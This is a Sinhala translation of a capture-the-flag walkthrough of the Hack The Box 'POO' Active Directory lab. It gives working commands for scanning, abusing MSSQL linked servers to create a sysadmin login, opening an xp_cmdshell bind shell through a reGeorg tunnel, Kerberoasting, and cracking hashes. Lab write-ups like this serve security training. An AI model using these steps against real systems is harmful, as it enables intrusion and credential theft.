මෙම ලිපියෙන් අපි යන්ත්රයක් පමණක් නොව සමස්ත කුඩා රසායනාගාරයක් වෙබ් අඩවියෙන් ගමන් කිරීම විශ්ලේෂණය කරමු.
විස්තරයේ දක්වා ඇති පරිදි, POO නිර්මාණය කර ඇත්තේ කුඩා සක්රීය නාමාවලි පරිසරයක ප්රහාරවල සෑම අදියරකදීම කුසලතා පරීක්ෂා කිරීමට ය. ඉලක්කය වන්නේ ප්රවේශ විය හැකි සත්කාරකයකු සම්මුතියක් ඇති කර ගැනීම, වරප්රසාද තීව්ර කිරීම සහ අවසානයේ ක්රියාවලියේදී කොඩි 5ක් එකතු කිරීමෙන් සම්පූර්ණ වසම සම්මුතියකට පත් කිරීමයි.
රසායනාගාරයට සම්බන්ධ වීම VPN හරහා වේ. ඔබ තොරතුරු ආරක්ෂණ ක්ෂේත්රයේ යමක් දන්නා පුද්ගලයින් සමඟ පුද්ගලික ජාලයක අවසන් වන බැවින්, වැඩ කරන පරිගණකයකින් හෝ ඔබට වැදගත් දත්ත ඇති සත්කාරක සමාගමකින් සම්බන්ධ නොවීම නිර්දේශ කෙරේ :)
ආයතනික තොරතුරු
නව ලිපි, මෘදුකාංග සහ වෙනත් තොරතුරු ගැන ඔබට දැනගත හැකි වන පරිදි, මම නිර්මාණය කළෙමි
සියලුම තොරතුරු සපයනු ලබන්නේ අධ්යාපනික අරමුණු සඳහා පමණි. මෙම ලේඛනයේ කතුවරයා මෙම ලේඛනය අධ්යයනය කිරීමෙන් ලබාගත් දැනුම සහ ක්රම භාවිතා කිරීම හේතුවෙන් කිසිවෙකුට සිදුවන හානිය සම්බන්ධයෙන් කිසිදු වගකීමක් භාර නොගනී.
හැදින්වීමේ
මෙම අවසන් ක්රීඩාව යන්ත්ර දෙකකින් සමන්විත වන අතර කොඩි 5ක් අඩංගු වේ.
පවතින සත්කාරකයේ විස්තරයක් සහ ලිපිනයක් ද ලබා දී ඇත.
ආරම්භ කරමු!
Recon කොඩිය
මෙම යන්ත්රයට 10.13.38.11 IP ලිපිනයක් ඇත, මම එය /etc/hosts වෙත එකතු කරමි.
10.13.38.11 poo.htb
පළමු පියවර වන්නේ විවෘත වරායන් පරිලෝකනය කිරීමයි. සියලුම ports nmap මගින් ස්කෑන් කිරීමට බොහෝ කාලයක් ගතවන නිසා, මම මුලින්ම එය masscan වලින් කරන්නම්. අපි tun0 අතුරුමුහුණතෙන් සියලුම TCP සහ UDP ports 500pps හි පරිලෝකනය කරමු.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
දැන්, වරායන්හි ක්රියාත්මක වන සේවාවන් පිළිබඳ වඩාත් සවිස්තරාත්මක තොරතුරු ලබා ගැනීම සඳහා, අපි -A විකල්පය සමඟ ස්කෑන් එකක් ධාවනය කරමු.
nmap -A poo.htb -p80,1433
මේ අනුව, අපට IIS සහ MSSQL සේවා ඇත. මෙම අවස්ථාවේදී, අපි වසම සහ පරිගණකයේ සැබෑ DNS නම සොයා ගනිමු. වෙබ් සේවාදායකයේ, අපි IIS මුල් පිටුව විසින් පිළිගනු ලැබේ.
අපි නාමාවලි හරහා යමු. මම මේ සඳහා gobuster භාවිතා කරමි. පරාමිතිවල අපි නූල් 128 (-t), URL (-u), ශබ්දකෝෂය (-w) සහ අපට උනන්දුවක් දක්වන දිගු ගණන (-x) දක්වයි.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
මෙය අපට /පරිපාලක නාමාවලිය සඳහා HTTP සත්යාපනය මෙන්ම ප්රවේශ විය හැකි ඩෙස්ක්ටොප් සේවාවක් .DS_Store ගොනුවක් ලබා දෙයි. .DS_Store යනු ගොනු ලැයිස්තුවක්, නිරූපක ස්ථාන සහ තෝරාගත් පසුබිම් රූපය වැනි ෆෝල්ඩරයක් සඳහා අභිරුචි සැකසුම් ගබඩා කරන ගොනු වේ. එවැනි ගොනුවක් වෙබ් සංවර්ධකයින්ගේ වෙබ් සේවාදායක නාමාවලියෙහි අවසන් විය හැක. මේ ආකාරයෙන් අපි නාමාවලියේ අන්තර්ගතය පිළිබඳ තොරතුරු ලබා ගනිමු. මේ සඳහා ඔබට භාවිතා කළ හැකිය
python3 dsstore_crawler.py -i http://poo.htb/
අපි නාමාවලියේ අන්තර්ගතය ලබා ගනිමු. මෙහි ඇති වඩාත්ම සිත්ගන්නා කරුණ නම් / dev නාමාවලියයි, එයින් අපට මූලාශ්ර සහ db ගොනු ශාඛා දෙකකින් බැලිය හැකිය. නමුත් සේවාව IIS ShortName වලට ගොදුරු විය හැකි නම් අපට ගොනු සහ නාමාවලි නාමවල පළමු අක්ෂර 6 භාවිතා කළ හැක. භාවිතයෙන් ඔබට මෙම අවදානම පරීක්ෂා කළ හැකිය
තවද "poo_co" වලින් ආරම්භ වන එක් පෙළ ගොනුවක් අපට හමු වේ. ඊළඟට කුමක් කළ යුතු දැයි නොදැන, මම නාමාවලි ශබ්දකෝෂයෙන් "co" වලින් ආරම්භ වන සියලුම වචන සරලව තෝරා ගත්තෙමි.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
සහ wfuzz සමඟ නැවත නැවත කියන්න.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
අපි නිවැරදි වචනය සොයා ගනිමු! අපි මෙම ගොනුව දෙස බලා, අක්තපත්ර සුරකින්න (DBNAME පරාමිතිය අනුව විනිශ්චය කිරීම, ඒවා MSSQL වෙතින් වේ).
අපි ධජය භාර දී අපි 20% ඉදිරියට යනවා.
හහ් කොඩිය
අපි MSSQL වෙත සම්බන්ධ කරමු, මම DBeaver භාවිතා කරමි.
මෙම දත්ත ගබඩාවේ රසවත් කිසිවක් අපට හමු නොවේ, අපි SQL සංස්කාරකයක් සාදා පරිශීලකයින් යනු කුමක්දැයි පරීක්ෂා කරමු.
SELECT name FROM master..syslogins;
අපට පරිශීලකයින් දෙදෙනෙක් සිටී. අපි අපේ වරප්රසාද පරීක්ෂා කරමු.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
මේ අනුව, වරප්රසාද නොමැත. සම්බන්ධිත සේවාදායකයන් බලමු, මම මෙම තාක්ෂණය ගැන විස්තරාත්මකව ලියා ඇත
SELECT * FROM master..sysservers;
මෙහෙමයි අපි තවත් SQL Server එකක් හොයාගන්නේ. openquery() භාවිතයෙන් මෙම සේවාදායකයේ විධාන ක්රියාත්මක කිරීම පරීක්ෂා කරමු.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
තවද අපට විමසුම් ගසක් පවා ගොඩනගා ගත හැකිය.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
කාරණය නම් අපි සම්බන්ධිත සේවාදායකයකට ඉල්ලීමක් කරන විට, ඉල්ලීම වෙනත් පරිශීලකයෙකුගේ සන්දර්භය තුළ ක්රියාත්මක වේ! සම්බන්ධිත සේවාදායකයේ අප ධාවනය කරන්නේ කුමන පරිශීලක සන්දර්භයදැයි බලමු.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
දැන් අපි බලමු සම්බන්ධිත සේවාදායකයෙන් අපගේ ඉල්ලීම ක්රියාත්මක කරන්නේ කුමන සන්දර්භය තුළද යන්න!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
මේ අනුව, එය සියලු වරප්රසාද තිබිය යුතු DBO සන්දර්භයකි. සම්බන්ධිත සේවාදායකයකින් ඉල්ලීමක් ඇත්නම් වරප්රසාද පරීක්ෂා කරමු.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
ඔබට පෙනෙන පරිදි, අපට සියලු වරප්රසාද තිබේ! අපි මේ විදියට අපේ ඇඩ්මින් හදමු. හැබැයි openquery හරහා යන්න දෙන්නෙ නෑ, EXECUTE AT හරහා කරමු.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
දැන් අපි නව පරිශීලකයාගේ අක්තපත්ර සමඟ සම්බන්ධ වෙමු, අපි නව ධජ දත්ත ගබඩාව නිරීක්ෂණය කරමු.
අපි මේ ධජය භාර දී තවත් ඉදිරියට යනවා.
BackTrack කොඩිය
අපි MSSQL භාවිතයෙන් shell එක ලබා ගනිමු, මම mssqlclient භාවිතා කරන්නේ impacket පැකේජයෙන්.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
අපි මුරපද ලබා ගත යුතු අතර, අප දැනටමත් මුහුණ දී ඇති පළමු දෙය වෙබ් අඩවියකි. මේ අනුව, අපට වෙබ් සේවාදායක වින්යාසයක් අවශ්ය වේ (පහසු කවචයක් අත්හැරිය නොහැක, පෙනෙන විදිහට ෆයර්වෝලය ක්රියාත්මක වේ).
නමුත් ප්රවේශය ප්රතික්ෂේප කර ඇත. අපට MSSQL වෙතින් ගොනුව කියවිය හැකි වුවද, අපට අවශ්ය වන්නේ කුමන ක්රමලේඛන භාෂා වින්යාස කර ඇත්ද යන්නයි. MSSQL බහලුම තුළ අපි පයිතන් ඇති බව සොයා ගනිමු.
එවිට web.config ගොනුව කියවීමට ගැටලුවක් නොමැත.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
සොයාගත් අක්තපත්ර සමඟ, / පරිපාලක වෙත ගොස් කොඩිය ගන්න.
පාද ධජය
ඇත්ත වශයෙන්ම, ෆයර්වෝලයක් භාවිතා කිරීමෙන් යම් අපහසුතාවයක් ඇත, නමුත් ජාල සැකසුම් හරහා බැලීමේදී, IPv6 ප්රොටෝකෝලය ද භාවිතා කරන බව අපට පෙනේ!
අපි මෙම ලිපිනය /etc/hosts වෙත එකතු කරමු.
dead:babe::1001 poo6.htb
අපි නැවතත් ධාරකය පරිලෝකනය කරමු, නමුත් මෙවර IPv6 හරහා.
WinRM සේවාව IPv6 හරහා ලබා ගත හැක. සොයාගත් අක්තපත්ර සමඟ සම්බන්ධ වෙමු.
ඩෙස්ක්ටොප් එකේ ධජයක් ඇත, එය භාර දෙන්න.
P00ned කොඩිය
සමඟ සත්කාරක සමාගම පිළිබඳ ඔත්තු බැලීමෙන් පසුව
setspn.exe -T intranet.poo -Q */*
අපි MSSQL හරහා විධානය ක්රියාත්මක කරමු.
මේ ආකාරයට, අපි p00_hr සහ p00_adm පරිශීලකයින්ගේ SPN ලබා ගනිමු, එයින් අදහස් කරන්නේ ඔවුන් Kerberoasting වැනි ප්රහාරයකට ගොදුරු විය හැකි බවයි. කෙටියෙන් කිවහොත්, අපට ඔවුන්ගේ මුරපදයේ හැෂ් ලබා ගත හැකිය.
මුලින්ම ඔබ MSSQL පරිශීලකයා වෙනුවෙන් ස්ථාවර කවචයක් ලබා ගත යුතුය. නමුත් අපට ප්රවේශය සීමිත බැවින්, අපට සත්කාරක සමාගම සමඟ සම්බන්ධතාවක් ඇත්තේ වරාය 80 සහ 1433 හරහා පමණි. නමුත් 80 වරාය හරහා උමං මාර්ග තදබදයක් ඇති කළ හැකිය! මේ සඳහා අපි භාවිතා කරන්නෙමු
නමුත් අපි එයට පිවිසීමට උත්සාහ කරන විට අපට 404 දෝෂයක් ලැබේ.ඒ කියන්නේ *.aspx ගොනු ක්රියාත්මක නොවේ. මෙම දිගු සහිත ගොනු ක්රියාත්මක කිරීම සඳහා, පහත පරිදි ASP.NET 4.5 ස්ථාපනය කරන්න.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
දැන්, tunnel.aspx වෙත පිවිසෙන විට, සියල්ල යාමට සූදානම් බවට අපට පිළිතුරක් ලැබේ.
ගමනාගමනය රිලේ කරන යෙදුමේ සේවාදායක කොටස දියත් කරමු. අපි 5432 වරායේ සිට සර්වරය වෙත සියලුම ගමනාගමනය යොමු කරන්නෙමු.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
තවද අපගේ ප්රොක්සි හරහා ඕනෑම යෙදුමක ගමනාගමනය යැවීමට අපි proxychains භාවිතා කරමු. අපි මෙම ප්රොක්සිය /etc/proxychains.conf වින්යාස ගොනුවට එකතු කරමු.
දැන් අපි වැඩසටහන සේවාදායකයට උඩුගත කරමු
දැන්, MSSQL හරහා, අපි සවන්දෙන්නා දියත් කරමු.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
ඒ වගේම අපි අපේ proxy හරහා සම්බන්ධ වෙනවා.
proxychains rlwrap nc poo.htb 4321
සහ අපි හෑෂ් ලබා ගනිමු.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
ඊළඟට, ඔබ මෙම හෑෂ් මත පුනරාවර්තනය කළ යුතුය. ඔබ සතුව මුරපද දත්ත ශබ්ද කෝෂයක් නොතිබූ බැවින්, මම Seclists හි ලබා දී ඇති සියලුම මුරපද ශබ්දකෝෂ භාවිතා කළෙමි. ගණන් කිරීම සඳහා අපි හැෂ්කැට් භාවිතා කරමු.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
තවද අපට මුරපද දෙකම හමු වේ, පළමුවැන්න ශබ්දකෝෂය dutch_passwordlist.txt, සහ දෙවැන්න Keyboard-Combinations.txt.
එබැවින් අපට පරිශීලකයින් තිදෙනෙක් සිටී, අපි වසම් පාලකය වෙත යමු. අපි මුලින්ම ඔහුගේ ලිපිනය සොයා බලමු.
නියමයි, අපි වසම් පාලකයේ IP ලිපිනය සොයා ගත්තෙමු. වසමේ සියලුම පරිශීලකයින් මෙන්ම ඔවුන්ගෙන් පරිපාලක කවුදැයි සොයා බලමු. තොරතුරු ලබා ගැනීමට ස්ක්රිප්ට් බාගත කිරීමට PowerView.ps1. එවිට අපි -s පරාමිතිය තුළ ස්ක්රිප්ට් සමඟ ඩිරෙක්ටරිය සඳහන් කරමින් නරක-winrm භාවිතයෙන් සම්බන්ධ කරන්නෙමු. ඊට පස්සේ අපි PowerView ස්ක්රිප්ට් එක පූරණය කරන්නම්.
දැන් අපට එහි සියලුම කාර්යයන් සඳහා ප්රවේශය ඇත. p00_adm පරිශීලක වරප්රසාද ලත් පරිශීලකයෙකු ලෙස පෙනේ, එබැවින් අපි එහි සන්දර්භය තුළ වැඩ කරන්නෙමු. මෙම පරිශීලකයා සඳහා PSCdential object එකක් නිර්මාණය කරමු.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
දැන් අපි ක්රෙඩ්ස් සඳහන් කරන සියලුම Powershell විධාන p00_adm වෙනුවෙන් ක්රියාත්මක වේ. අපි පරිශීලකයින්ගේ ලැයිස්තුවක් සහ AdminCount ගුණාංගය පෙන්වමු.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
එබැවින්, අපගේ පරිශීලකයා සැබවින්ම වරප්රසාද ලබා ඇත. ඔහු අයත් වන්නේ කුමන කණ්ඩායම් වලටද යන්න බලමු.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
පරිශීලකයා වසම් පරිපාලකයෙකු බව අපි අවසානයේ තහවුරු කරමු. මෙය වසම් පාලකය වෙත දුරස්ථව ලොග් වීමට අයිතිය ලබා දෙයි. අපි අපේ උමග භාවිතයෙන් WinRM සමඟ ලොග් වීමට උත්සාහ කරමු. නරක-winrm භාවිතා කරන විට reGeorg විසින් නිකුත් කරන ලද දෝෂ නිසා මම ව්යාකූල වීමි.
එවිට අපි තවත් පහසු එකක් භාවිතා කරමු.
අපි සම්බන්ධ වීමට උත්සාහ කරමු, අපි පද්ධතියේ සිටිමු.
නමුත් කොඩියක් නැත. ඉන්පසු පරිශීලකයා දෙස බලා ඩෙස්ක්ටොප් පරීක්ෂා කරන්න.
mr3ks හි ධජය අපට හමු වූ අතර රසායනාගාරය 100% සම්පූර්ණ කර ඇත.
එච්චරයි. ප්රතිපෝෂණ ලෙස, ඔබ මෙම ලිපියෙන් අලුත් දෙයක් ඉගෙන ගත්තාද සහ එය ඔබට ප්රයෝජනවත්ද යන්න කමෙන්ට් කරන්න.
ඔබට අප හා සම්බන්ධ විය හැක
මූලාශ්රය: www.habr.com